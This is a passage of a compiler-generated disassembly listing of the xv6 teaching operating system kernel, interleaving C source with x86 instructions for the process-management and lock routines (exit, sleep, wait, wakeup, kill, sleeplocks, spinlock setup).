%esi,%esi { 80103a86: 53 push %ebx 80103a87: 83 ec 10 sub $0x10,%esp struct proc *curproc = myproc(); 80103a8a: e8 f1 fb ff ff call 80103680 <myproc> if(curproc == initproc) 80103a8f: 3b 05 b8 a5 10 80 cmp 0x8010a5b8,%eax struct proc *curproc = myproc(); 80103a95: 89 c3 mov %eax,%ebx if(curproc == initproc) 80103a97: 0f 84 ea 00 00 00 je 80103b87 <exit+0x107> 80103a9d: 8d 76 00 lea 0x0(%esi),%esi if(curproc->ofile[fd]){ 80103aa0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 80103aa4: 85 c0 test %eax,%eax 80103aa6: 74 10 je 80103ab8 <exit+0x38> fileclose(curproc->ofile[fd]); 80103aa8: 89 04 24 mov %eax,(%esp) 80103aab: e8 50 d3 ff ff call 80100e00 <fileclose> curproc->ofile[fd] = 0; 80103ab0: c7 44 b3 28 00 00 00 movl $0x0,0x28(%ebx,%esi,4) 80103ab7: 00 for(fd = 0; fd < NOFILE; fd++){ 80103ab8: 83 c6 01 add $0x1,%esi 80103abb: 83 fe 10 cmp $0x10,%esi 80103abe: 75 e0 jne 80103aa0 <exit+0x20> begin_op(); 80103ac0: e8 2b f0 ff ff call 80102af0 <begin_op> iput(curproc->cwd); 80103ac5: 8b 43 68 mov 0x68(%ebx),%eax 80103ac8: 89 04 24 mov %eax,(%esp) 80103acb: e8 e0 dc ff ff call 801017b0 <iput> end_op(); 80103ad0: e8 8b f0 ff ff call 80102b60 <end_op> curproc->cwd = 0; 80103ad5: c7 43 68 00 00 00 00 movl $0x0,0x68(%ebx) acquire(&ptable.lock); 80103adc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103ae3: e8 38 06 00 00 call 80104120 <acquire> wakeup1(curproc->parent); 80103ae8: 8b 43 14 mov 0x14(%ebx),%eax static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103aeb: ba 54 2d 11 80 mov $0x80112d54,%edx 80103af0: eb 11 jmp 80103b03 <exit+0x83> 80103af2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103af8: 83 ea 80 sub $0xffffff80,%edx 80103afb: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx 80103b01: 74 1d je 80103b20 <exit+0xa0> if(p->state == SLEEPING && p->chan == chan) 80103b03: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103b07: 75 ef jne 80103af8 <exit+0x78> 80103b09: 3b 42 20 cmp 0x20(%edx),%eax 80103b0c: 75 ea jne 80103af8 <exit+0x78> p->state = RUNNABLE; 80103b0e: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b15: 83 ea 80 sub $0xffffff80,%edx 80103b18: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx 80103b1e: 75 e3 jne 80103b03 <exit+0x83> p->parent = initproc; 80103b20: a1 b8 a5 10 80 mov 0x8010a5b8,%eax 80103b25: b9 54 2d 11 80 mov $0x80112d54,%ecx 80103b2a: eb 0f jmp 80103b3b <exit+0xbb> 80103b2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103b30: 83 e9 80 sub $0xffffff80,%ecx 80103b33: 81 f9 54 4d 11 80 cmp $0x80114d54,%ecx 80103b39: 74 34 je 80103b6f <exit+0xef> if(p->parent == curproc){ 80103b3b: 39 59 14 cmp %ebx,0x14(%ecx) 80103b3e: 75 f0 jne 80103b30 <exit+0xb0> if(p->state == ZOMBIE) 80103b40: 83 79 0c 05 cmpl $0x5,0xc(%ecx) p->parent = initproc; 80103b44: 89 41 14 mov %eax,0x14(%ecx) if(p->state == ZOMBIE) 80103b47: 75 e7 jne 80103b30 <exit+0xb0> 80103b49: ba 54 2d 11 80 mov $0x80112d54,%edx 80103b4e: eb 0b jmp 80103b5b <exit+0xdb> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b50: 83 ea 80 sub $0xffffff80,%edx 80103b53: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx 80103b59: 74 d5 je 80103b30 <exit+0xb0> if(p->state == SLEEPING && p->chan == chan) 80103b5b: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103b5f: 75 ef jne 80103b50 <exit+0xd0> 80103b61: 3b 42 20 cmp 0x20(%edx),%eax 80103b64: 75 ea jne 80103b50 <exit+0xd0> p->state = RUNNABLE; 80103b66: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) 80103b6d: eb e1 jmp 80103b50 <exit+0xd0> curproc->state = ZOMBIE; 80103b6f: c7 43 0c 05 00 00 00 movl $0x5,0xc(%ebx) sched(); 80103b76: e8 65 fe ff ff call 801039e0 <sched> panic("zombie exit"); 80103b7b: c7 04 24 dd 73 10 80 movl $0x801073dd,(%esp) 80103b82: e8 d9 c7 ff ff call 80100360 <panic> panic("init exiting"); 80103b87: c7 04 24 d0 73 10 80 movl $0x801073d0,(%esp) 80103b8e: e8 cd c7 ff ff call 80100360 <panic> 80103b93: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103ba0 <yield>: { 80103ba0: 55 push %ebp 80103ba1: 89 e5 mov %esp,%ebp 80103ba3: 83 ec 18 sub $0x18,%esp acquire(&ptable.lock); //DOC: yieldlock 80103ba6: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103bad: e8 6e 05 00 00 call 80104120 <acquire> myproc()->state = RUNNABLE; 80103bb2: e8 c9 fa ff ff call 80103680 <myproc> 80103bb7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) sched(); 80103bbe: e8 1d fe ff ff call 801039e0 <sched> release(&ptable.lock); 80103bc3: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103bca: e8 41 06 00 00 call 80104210 <release> } 80103bcf: c9 leave 80103bd0: c3 ret 80103bd1: eb 0d jmp 80103be0 <sleep> 80103bd3: 90 nop 80103bd4: 90 nop 80103bd5: 90 nop 80103bd6: 90 nop 80103bd7: 90 nop 80103bd8: 90 nop 80103bd9: 90 nop 80103bda: 90 nop 80103bdb: 90 nop 80103bdc: 90 nop 80103bdd: 90 nop 80103bde: 90 nop 80103bdf: 90 nop 80103be0 <sleep>: { 80103be0: 55 push %ebp 80103be1: 89 e5 mov %esp,%ebp 80103be3: 57 push %edi 80103be4: 56 push %esi 80103be5: 53 push %ebx 80103be6: 83 ec 1c sub $0x1c,%esp 80103be9: 8b 7d 08 mov 0x8(%ebp),%edi 80103bec: 8b 75 0c mov 0xc(%ebp),%esi struct proc *p = myproc(); 80103bef: e8 8c fa ff ff call 80103680 <myproc> if(p == 0) 80103bf4: 85 c0 test %eax,%eax struct proc *p = myproc(); 80103bf6: 89 c3 mov %eax,%ebx if(p == 0) 80103bf8: 0f 84 7c 00 00 00 je 80103c7a <sleep+0x9a> if(lk == 0) 80103bfe: 85 f6 test %esi,%esi 80103c00: 74 6c je 80103c6e <sleep+0x8e> if(lk != &ptable.lock){ //DOC: sleeplock0 80103c02: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi 80103c08: 74 46 je 80103c50 <sleep+0x70> acquire(&ptable.lock); //DOC: sleeplock1 80103c0a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c11: e8 0a 05 00 00 call 80104120 <acquire> release(lk); 80103c16: 89 34 24 mov %esi,(%esp) 80103c19: e8 f2 05 00 00 call 80104210 <release> p->chan = chan; 80103c1e: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103c21: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103c28: e8 b3 fd ff ff call 801039e0 <sched> p->chan = 0; 80103c2d: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) release(&ptable.lock); 80103c34: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c3b: e8 d0 05 00 00 call 80104210 <release> acquire(lk); 80103c40: 89 75 08 mov %esi,0x8(%ebp) } 80103c43: 83 c4 1c add $0x1c,%esp 80103c46: 5b pop %ebx 80103c47: 5e pop %esi 80103c48: 5f pop %edi 80103c49: 5d pop %ebp acquire(lk); 80103c4a: e9 d1 04 00 00 jmp 80104120 <acquire> 80103c4f: 90 nop p->chan = chan; 80103c50: 89 78 20 mov %edi,0x20(%eax) p->state = SLEEPING; 80103c53: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax) sched(); 80103c5a: e8 81 fd ff ff call 801039e0 <sched> p->chan = 0; 80103c5f: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) } 80103c66: 83 c4 1c add $0x1c,%esp 80103c69: 5b pop %ebx 80103c6a: 5e pop %esi 80103c6b: 5f pop %edi 80103c6c: 5d pop %ebp 80103c6d: c3 ret panic("sleep without lk"); 80103c6e: c7 04 24 ef 73 10 80 movl $0x801073ef,(%esp) 80103c75: e8 e6 c6 ff ff call 80100360 <panic> panic("sleep"); 80103c7a: c7 04 24 e9 73 10 80 movl $0x801073e9,(%esp) 80103c81: e8 da c6 ff ff call 80100360 <panic> 80103c86: 8d 76 00 lea 0x0(%esi),%esi 80103c89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103c90 <wait>: { 80103c90: 55 push %ebp 80103c91: 89 e5 mov %esp,%ebp 80103c93: 56 push %esi 80103c94: 53 push %ebx 80103c95: 83 ec 10 sub $0x10,%esp struct proc *curproc = myproc(); 80103c98: e8 e3 f9 ff ff call 80103680 <myproc> acquire(&ptable.lock); 80103c9d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) struct proc *curproc = myproc(); 80103ca4: 89 c6 mov %eax,%esi acquire(&ptable.lock); 80103ca6: e8 75 04 00 00 call 80104120 <acquire> havekids = 0; 80103cab: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cad: bb 54 2d 11 80 mov $0x80112d54,%ebx 80103cb2: eb 0f jmp 80103cc3 <wait+0x33> 80103cb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103cb8: 83 eb 80 sub $0xffffff80,%ebx 80103cbb: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx 80103cc1: 74 1d je 80103ce0 <wait+0x50> if(p->parent != curproc) 80103cc3: 39 73 14 cmp %esi,0x14(%ebx) 80103cc6: 75 f0 jne 80103cb8 <wait+0x28> if(p->state == ZOMBIE){ 80103cc8: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80103ccc: 74 2f je 80103cfd <wait+0x6d> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cce: 83 eb 80 sub $0xffffff80,%ebx havekids = 1; 80103cd1: b8 01 00 00 00 mov $0x1,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cd6: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx 80103cdc: 75 e5 jne 80103cc3 <wait+0x33> 80103cde: 66 90 xchg %ax,%ax if(!havekids || curproc->killed){ 80103ce0: 85 c0 test %eax,%eax 80103ce2: 74 6e je 80103d52 <wait+0xc2> 80103ce4: 8b 46 24 mov 0x24(%esi),%eax 80103ce7: 85 c0 test %eax,%eax 80103ce9: 75 67 jne 80103d52 <wait+0xc2> sleep(curproc, &ptable.lock); //DOC: wait-sleep 80103ceb: c7 44 24 04 20 2d 11 movl $0x80112d20,0x4(%esp) 80103cf2: 80 80103cf3: 89 34 24 mov %esi,(%esp) 80103cf6: e8 e5 fe ff ff call 80103be0 <sleep> } 80103cfb: eb ae jmp 80103cab <wait+0x1b> kfree(p->kstack); 80103cfd: 8b 43 08 mov 0x8(%ebx),%eax pid = p->pid; 80103d00: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80103d03: 89 04 24 mov %eax,(%esp) 80103d06: e8 c5 e5 ff ff call 801022d0 <kfree> freevm(p->pgdir); 80103d0b: 8b 43 04 mov 0x4(%ebx),%eax p->kstack = 0; 80103d0e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80103d15: 89 04 24 mov %eax,(%esp) 80103d18: e8 83 2c 00 00 call 801069a0 <freevm> release(&ptable.lock); 80103d1d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->pid = 0; 80103d24: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80103d2b: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80103d32: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80103d36: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80103d3d: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80103d44: e8 c7 04 00 00 call 80104210 <release> } 80103d49: 83 c4 10 add $0x10,%esp return pid; 80103d4c: 89 f0 mov %esi,%eax } 80103d4e: 5b pop %ebx 80103d4f: 5e pop %esi 80103d50: 5d pop %ebp 80103d51: c3 ret release(&ptable.lock); 80103d52: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103d59: e8 b2 04 00 00 call 80104210 <release> } 80103d5e: 83 c4 10 add $0x10,%esp return -1; 80103d61: b8 ff ff ff ff mov $0xffffffff,%eax } 80103d66: 5b pop %ebx 80103d67: 5e pop %esi 80103d68: 5d pop %ebp 80103d69: c3 ret 80103d6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103d70 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80103d70: 55 push %ebp 80103d71: 89 e5 mov %esp,%ebp 80103d73: 53 push %ebx 80103d74: 83 ec 14 sub $0x14,%esp 80103d77: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 80103d7a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103d81: e8 9a 03 00 00 call 80104120 <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103d86: b8 54 2d 11 80 mov $0x80112d54,%eax 80103d8b: eb 0d jmp 80103d9a <wakeup+0x2a> 80103d8d: 8d 76 00 lea 0x0(%esi),%esi 80103d90: 83 e8 80 sub $0xffffff80,%eax 80103d93: 3d 54 4d 11 80 cmp $0x80114d54,%eax 80103d98: 74 1e je 80103db8 <wakeup+0x48> if(p->state == SLEEPING && p->chan == chan) 80103d9a: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103d9e: 75 f0 jne 80103d90 <wakeup+0x20> 80103da0: 3b 58 20 cmp 0x20(%eax),%ebx 80103da3: 75 eb jne 80103d90 <wakeup+0x20> p->state = RUNNABLE; 80103da5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103dac: 83 e8 80 sub $0xffffff80,%eax 80103daf: 3d 54 4d 11 80 cmp $0x80114d54,%eax 80103db4: 75 e4 jne 80103d9a <wakeup+0x2a> 80103db6: 66 90 xchg %ax,%ax wakeup1(chan); release(&ptable.lock); 80103db8: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp) } 80103dbf: 83 c4 14 add $0x14,%esp 80103dc2: 5b pop %ebx 80103dc3: 5d pop %ebp release(&ptable.lock); 80103dc4: e9 47 04 00 00 jmp 80104210 <release> 80103dc9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103dd0 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80103dd0: 55 push %ebp 80103dd1: 89 e5 mov %esp,%ebp 80103dd3: 53 push %ebx 80103dd4: 83 ec 14 sub $0x14,%esp 80103dd7: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 80103dda: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103de1: e8 3a 03 00 00 call 80104120 <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103de6: b8 54 2d 11 80 mov $0x80112d54,%eax 80103deb: eb 0d jmp 80103dfa <kill+0x2a> 80103ded: 8d 76 00 lea 0x0(%esi),%esi 80103df0: 83 e8 80 sub $0xffffff80,%eax 80103df3: 3d 54 4d 11 80 cmp $0x80114d54,%eax 80103df8: 74 36 je 80103e30 <kill+0x60> if(p->pid == pid){ 80103dfa: 39 58 10 cmp %ebx,0x10(%eax) 80103dfd: 75 f1 jne 80103df0 <kill+0x20> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103dff: 83 78 0c 02 cmpl $0x2,0xc(%eax) p->killed = 1; 80103e03: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) if(p->state == SLEEPING) 80103e0a: 74 14 je 80103e20 <kill+0x50> p->state = RUNNABLE; release(&ptable.lock); 80103e0c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e13: e8 f8 03 00 00 call 80104210 <release> return 0; } } release(&ptable.lock); return -1; } 80103e18: 83 c4 14 add $0x14,%esp return 0; 80103e1b: 31 c0 xor %eax,%eax } 80103e1d: 5b pop %ebx 80103e1e: 5d pop %ebp 80103e1f: c3 ret p->state = RUNNABLE; 80103e20: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103e27: eb e3 jmp 80103e0c <kill+0x3c> 80103e29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80103e30: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e37: e8 d4 03 00 00 call 80104210 <release> } 80103e3c: 83 c4 14 add $0x14,%esp return -1; 80103e3f: b8 ff ff ff ff mov $0xffffffff,%eax } 80103e44: 5b pop %ebx 80103e45: 5d pop %ebp 80103e46: c3 ret 80103e47: 89 f6 mov %esi,%esi 80103e49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103e50 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80103e50: 55 push %ebp 80103e51: 89 e5 mov %esp,%ebp 80103e53: 57 push %edi 80103e54: 56 push %esi 80103e55: 53 push %ebx 80103e56: bb c0 2d 11 80 mov $0x80112dc0,%ebx 80103e5b: 83 ec 4c sub $0x4c,%esp 80103e5e: 8d 75 e8 lea -0x18(%ebp),%esi 80103e61: eb 20 jmp 80103e83 <procdump+0x33> 80103e63: 90 nop 80103e64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 80103e68: c7 04 24 db 77 10 80 movl $0x801077db,(%esp) 80103e6f: e8 dc c7 ff ff call 80100650 <cprintf> 80103e74: 83 eb 80 sub $0xffffff80,%ebx for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e77: 81 fb c0 4d 11 80 cmp $0x80114dc0,%ebx 80103e7d: 0f 84 8d 00 00 00 je 80103f10 <procdump+0xc0> if(p->state == UNUSED) 80103e83: 8b 43 a0 mov -0x60(%ebx),%eax 80103e86: 85 c0 test %eax,%eax 80103e88: 74 ea je 80103e74 <procdump+0x24> if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103e8a: 83 f8 05 cmp $0x5,%eax state = "???"; 80103e8d: ba 00 74 10 80 mov $0x80107400,%edx if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103e92: 77 11 ja 80103ea5 <procdump+0x55> 80103e94: 8b 14 85 60 74 10 80 mov -0x7fef8ba0(,%eax,4),%edx state = "???"; 80103e9b: b8 00 74 10 80 mov $0x80107400,%eax 80103ea0: 85 d2 test %edx,%edx 80103ea2: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 80103ea5: 8b 43 a4 mov -0x5c(%ebx),%eax 80103ea8: 89 5c 24 0c mov %ebx,0xc(%esp) 80103eac: 89 54 24 08 mov %edx,0x8(%esp) 80103eb0: c7 04 24 04 74 10 80 movl $0x80107404,(%esp) 80103eb7: 89 44 24 04 mov %eax,0x4(%esp) 80103ebb: e8 90 c7 ff ff call 80100650 <cprintf> if(p->state == SLEEPING){ 80103ec0: 83 7b a0 02 cmpl $0x2,-0x60(%ebx) 80103ec4: 75 a2 jne 80103e68 <procdump+0x18> getcallerpcs((uint*)p->context->ebp+2, pc); 80103ec6: 8d 45 c0 lea -0x40(%ebp),%eax 80103ec9: 89 44 24 04 mov %eax,0x4(%esp) 80103ecd: 8b 43 b0 mov -0x50(%ebx),%eax 80103ed0: 8d 7d c0 lea -0x40(%ebp),%edi 80103ed3: 8b 40 0c mov 0xc(%eax),%eax 80103ed6: 83 c0 08 add $0x8,%eax 80103ed9: 89 04 24 mov %eax,(%esp) 80103edc: e8 6f 01 00 00 call 80104050 <getcallerpcs> 80103ee1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<10 && pc[i] != 0; i++) 80103ee8: 8b 17 mov (%edi),%edx 80103eea: 85 d2 test %edx,%edx 80103eec: 0f 84 76 ff ff ff je 80103e68 <procdump+0x18> cprintf(" %p", pc[i]); 80103ef2: 89 54 24 04 mov %edx,0x4(%esp) 80103ef6: 83 c7 04 add $0x4,%edi 80103ef9: c7 04 24 41 6e 10 80 movl $0x80106e41,(%esp) 80103f00: e8 4b c7 ff ff call 80100650 <cprintf> for(i=0; i<10 && pc[i] != 0; i++) 80103f05: 39 f7 cmp %esi,%edi 80103f07: 75 df jne 80103ee8 <procdump+0x98> 80103f09: e9 5a ff ff ff jmp 80103e68 <procdump+0x18> 80103f0e: 66 90 xchg %ax,%ax } } 80103f10: 83 c4 4c add $0x4c,%esp 80103f13: 5b pop %ebx 80103f14: 5e pop %esi 80103f15: 5f pop %edi 80103f16: 5d pop %ebp 80103f17: c3 ret 80103f18: 66 90 xchg %ax,%ax 80103f1a: 66 90 xchg %ax,%ax 80103f1c: 66 90 xchg %ax,%ax 80103f1e: 66 90 xchg %ax,%ax 80103f20 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 80103f20: 55 push %ebp 80103f21: 89 e5 mov %esp,%ebp 80103f23: 53 push %ebx 80103f24: 83 ec 14 sub $0x14,%esp 80103f27: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 80103f2a: c7 44 24 04 78 74 10 movl $0x80107478,0x4(%esp) 80103f31: 80 80103f32: 8d 43 04 lea 0x4(%ebx),%eax 80103f35: 89 04 24 mov %eax,(%esp) 80103f38: e8 f3 00 00 00 call 80104030 <initlock> lk->name = name; 80103f3d: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 80103f40: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 80103f46: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) lk->name = name; 80103f4d: 89 43 38 mov %eax,0x38(%ebx) } 80103f50: 83 c4 14 add $0x14,%esp 80103f53: 5b pop %ebx 80103f54: 5d pop %ebp 80103f55: c3 ret 80103f56: 8d 76 00 lea 0x0(%esi),%esi 80103f59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103f60 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 80103f60: 55 push %ebp 80103f61: 89 e5 mov %esp,%ebp 80103f63: 56 push %esi 80103f64: 53 push %ebx 80103f65: 83 ec 10 sub $0x10,%esp 80103f68: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80103f6b: 8d 73 04 lea 0x4(%ebx),%esi 80103f6e: 89 34 24 mov %esi,(%esp) 80103f71: e8 aa 01 00 00 call 80104120 <acquire> while (lk->locked) { 80103f76: 8b 13 mov (%ebx),%edx 80103f78: 85 d2 test %edx,%edx 80103f7a: 74 16 je 80103f92 <acquiresleep+0x32> 80103f7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sleep(lk, &lk->lk); 80103f80: 89 74 24 04 mov %esi,0x4(%esp) 80103f84: 89 1c 24 mov %ebx,(%esp) 80103f87: e8 54 fc ff ff call 80103be0 <sleep> while (lk->locked) { 80103f8c: 8b 03 mov (%ebx),%eax 80103f8e: 85 c0 test %eax,%eax 80103f90: 75 ee jne 80103f80 <acquiresleep+0x20> } lk->locked = 1; 80103f92: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80103f98: e8 e3 f6 ff ff call 80103680 <myproc> 80103f9d: 8b 40 10 mov 0x10(%eax),%eax 80103fa0: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80103fa3: 89 75 08 mov %esi,0x8(%ebp) } 80103fa6: 83 c4 10 add $0x10,%esp 80103fa9: 5b pop %ebx 80103faa: 5e pop %esi 80103fab: 5d pop %ebp release(&lk->lk); 80103fac: e9 5f 02 00 00 jmp 80104210 <release> 80103fb1: eb 0d jmp 80103fc0 <releasesleep> 80103fb3: 90 nop 80103fb4: 90 nop 80103fb5: 90 nop 80103fb6: 90 nop 80103fb7: 90 nop 80103fb8: 90 nop 80103fb9: 90 nop 80103fba: 90 nop 80103fbb: 90 nop 80103fbc: 90 nop 80103fbd: 90 nop 80103fbe: 90 nop 80103fbf: 90 nop 80103fc0 <releasesleep>: void releasesleep(struct sleeplock *lk) { 80103fc0: 55 push %ebp 80103fc1: 89 e5 mov %esp,%ebp 80103fc3: 56 push %esi 80103fc4: 53 push %ebx 80103fc5: 83 ec 10 sub $0x10,%esp 80103fc8: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80103fcb: 8d 73 04 lea 0x4(%ebx),%esi 80103fce: 89 34 24 mov %esi,(%esp) 80103fd1: e8 4a 01 00 00 call 80104120 <acquire> lk->locked = 0; 80103fd6: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 80103fdc: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 80103fe3: 89 1c 24 mov %ebx,(%esp) 80103fe6: e8 85 fd ff ff call 80103d70 <wakeup> release(&lk->lk); 80103feb: 89 75 08 mov %esi,0x8(%ebp) } 80103fee: 83 c4 10 add $0x10,%esp 80103ff1: 5b pop %ebx 80103ff2: 5e pop %esi 80103ff3: 5d pop %ebp release(&lk->lk); 80103ff4: e9 17 02 00 00 jmp 80104210 <release> 80103ff9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104000 <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 80104000: 55 push %ebp 80104001: 89 e5 mov %esp,%ebp 80104003: 56 push %esi 80104004: 53 push %ebx 80104005: 83 ec 10 sub $0x10,%esp 80104008: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 8010400b: 8d 73 04 lea 0x4(%ebx),%esi 8010400e: 89 34 24 mov %esi,(%esp) 80104011: e8 0a 01 00 00 call 80104120 <acquire> r = lk->locked; 80104016: 8b 1b mov (%ebx),%ebx release(&lk->lk); 80104018: 89 34 24 mov %esi,(%esp) 8010401b: e8 f0 01 00 00 call 80104210 <release> return r; } 80104020: 83 c4 10 add $0x10,%esp 80104023: 89 d8 mov %ebx,%eax 80104025: 5b pop %ebx 80104026: 5e pop %esi 80104027: 5d pop %ebp 80104028: c3 ret 80104029: 66 90 xchg %ax,%ax 8010402b: 66 90 xchg %ax,%ax 8010402d: 66 90 xchg %ax,%ax 8010402f: 90 nop 80104030 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 80104030: 55 push %ebp 80104031: 89 e5 mov %esp,%ebp 80104033: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 80104036: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 80104039: c7 00 00 00 00 00 movl $0x0,(%eax) lk->name = name; 8010403f: 89 50 04 mov %edx,0x4(%eax) lk->cpu = 0; 80104042: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 80104049: 5d pop %ebp 8010404a: c3 ret 8010404b: 90 nop 8010404c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104050 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80104050: 55 push %ebp 80104051: 89 e5 mov %esp,%ebp uint *ebp; int i; ebp = (uint*)v - 2; 80104053: 8b 45 08 mov 0x8(%ebp),%eax { 80104056: 8b 4d 0c mov 0xc(%ebp),%ecx 80104059: 53 push %ebx ebp = (uint*)v - 2; 8010405a: 8d 50 f8 lea -0x8(%eax),%edx for(i = 0; i < 10; i++){ 8010405d: 31 c0 xor %eax,%eax 8010405f: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104060: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx 80104066: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 8010406c: 77 1a ja 80104088 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 8010406e: 8b 5a 04 mov 0x4(%edx),%ebx 80104071: 89 1c 81 mov %ebx,(%ecx,%eax,4) for(i = 0; i < 10; i++){ 80104074: 83 c0 01 add $0x1,%eax ebp = (uint*)ebp[0]; // saved %ebp 80104077: 8b 12 mov (%edx),%edx for(i = 0; i < 10; i++){ 80104079: 83 f8 0a cmp $0xa,%eax 8010407c: 75 e2 jne 80104060 <getcallerpcs+0x10> } for(; i < 10; i++) pcs[i] = 0; } 8010407e: 5b pop %ebx 8010407f: 5d pop %ebp 80104080: c3 ret 80104081: 8d 